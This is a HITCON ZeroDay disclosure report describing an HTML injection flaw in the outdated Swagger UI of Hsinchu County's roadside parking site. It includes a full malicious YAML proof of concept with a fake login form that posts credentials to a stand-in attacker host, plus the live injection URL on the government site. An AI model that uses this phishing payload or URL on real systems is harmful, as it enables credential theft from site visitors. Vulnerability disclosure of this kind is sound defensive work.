新竹縣政府路邊停車中心 Unvalidated Swagger Parameter Leads to HTML Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00526
  •  發信 Vendor: 新竹縣政府
  • Title: 新竹縣政府路邊停車中心 Unvalidated Swagger Parameter Leads to HTML Injection
  • Introduction: Swagger UI 在舊版中未對可渲染 HTML 的欄位(如 description)進行嚴格過濾,攻擊者可藉此注入任意 HTML。

處理狀態

目前狀態

公開
Last Update : 2025/08/05
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/06/05 05:08:22 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/06/08 17:06:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:20:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:20:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 16:20:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/05 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00526
  • 通報者:SamChen_696 (CheN..)
  • 風險:低
  • 類型:其他 (Other)

參考資料

暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://hcpark.hchg.gov.tw/NationalParkingPayBillInquiry/swagger/ui/index?url=https://gist.githubusercontent.com/Samer666569/0d516d6d050cdc18caf9941cea542c0e/raw/1dcc0c257412bada30ce41cfd70edcea55bdf449/malicious2.yaml

敘述

我最近在探索台灣各網站的 Swagger UI ,發現許多存在版本過舊問題,導致 XSS 和 HTML injection (應該會同步通報到單位)

概述(成因):

由於網站仍使用舊版 Swagger UI(版本低於 4.1.3),這些版本雖然已修了部分 XSS,但對於 description、summary 等欄位可輸出 HTML 內容的處理仍不夠嚴謹,未做足夠的 sanitize。攻擊者可在被託管的 malicious.yaml 裡,插入 <img onerror>、<iframe>、<form>、<link> 等 HTML 標籤,導致 Swagger UI 在渲染時直接把這些 HTML 當成內容,形成 HTML Injection(偽造表單、載入惡意外部資源、嵌入誘導 iframe…)。

PoC:

圖片
完整 malicious.yaml

# fake-login-poc.yaml
openapi: "3.0.0"
info:
  title: "新竹縣政府假登入PoC"
  version: "1.0.0"
  description: |
    <div style="border:2px solid red;
                padding:1em;
                background:#f9f9f9;
                width:400px;
                font-family: Microsoft JhengHei, Arial, sans-serif;
                margin-bottom:1em;">
      <h2 style="color:#c00;
                 text-align:center;
                 margin-top:0;
                 margin-bottom:1em;">
        ⚠️ 請輸入帳號密碼以繼續 ⚠️
      </h2>
      <form action="https://attacker.example.com/collect" method="POST" target="_blank">
        <div style="display:flex;
                    align-items:center;
                    margin-bottom:0.75em;">
          <label style="width:90px;
                        font-size:14px;
                        color:#333;">
            帳號 (Username):
          </label>
          <input type="text"
                 name="username"
                 placeholder="請輸入您的帳號"
                 style="flex:1;
                        padding:0.5em;
                        font-size:14px;
                        border:1px solid #ccc;
                        border-radius:4px;">
        </div>
        <div style="display:flex;
                    align-items:center;
                    margin-bottom:1em;">
          <label style="width:90px;
                        font-size:14px;
                        color:#333;">
            密碼 (Password):
          </label>
          <input type="password"
                 name="password"
                 placeholder="請輸入您的密碼"
                 style="flex:1;
                        padding:0.5em;
                        font-size:14px;
                        border:1px solid #ccc;
                        border-radius:4px;">
        </div>
        <div style="text-align:center;">
          <button type="submit"
                  style="width:100%;
                         background:#c00;
                         color:#fff;
                         font-size:16px;
                         padding:0.6em;
                         border:none;
                         border-radius:4px;
                         cursor:pointer;">
            登入 Login
          </button>
        </div>
      </form>
      <!-- 警語文字 -->
      <p style="color:#555;
                font-size:0.9em;
                margin-top:1em;
                text-align:center;">
        ※ 此為系統安全檢測,請務必輸入您的企業帳號密碼。
      </p>
      <div style="font-size:60px; font-weight:bold; margin-top:1em;">
        By CheN..
      </div>

    </div>

paths: {}

漏洞網址
https://hcpark.hchg.gov.tw/NationalParkingPayBillInquiry/swagger/ui/index?url=https://gist.githubusercontent.com/Samer666569/0d516d6d050cdc18caf9941cea542c0e/raw/1dcc0c257412bada30ce41cfd70edcea55bdf449/malicious2.yaml

影響:

攻擊者能在 Swagger UI 畫面中加入任意 HTML 元素,包含 <iframe>、<form>、<img>、<link> 等,並透過 CSS/JavaScript 操作誘導使用者。

補充資料

可以參考 HackerOne 上的相似案例
HackerOne Report #2297561
HackerOne Report #2534300

修補建議

將所有 Swagger UI 升至 4.1.3 以上版本,新版已強化對可輸出 HTML 欄位的 sanitize 機制,會移除 <iframe>、<form>、<img> 等未經授權的標籤。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;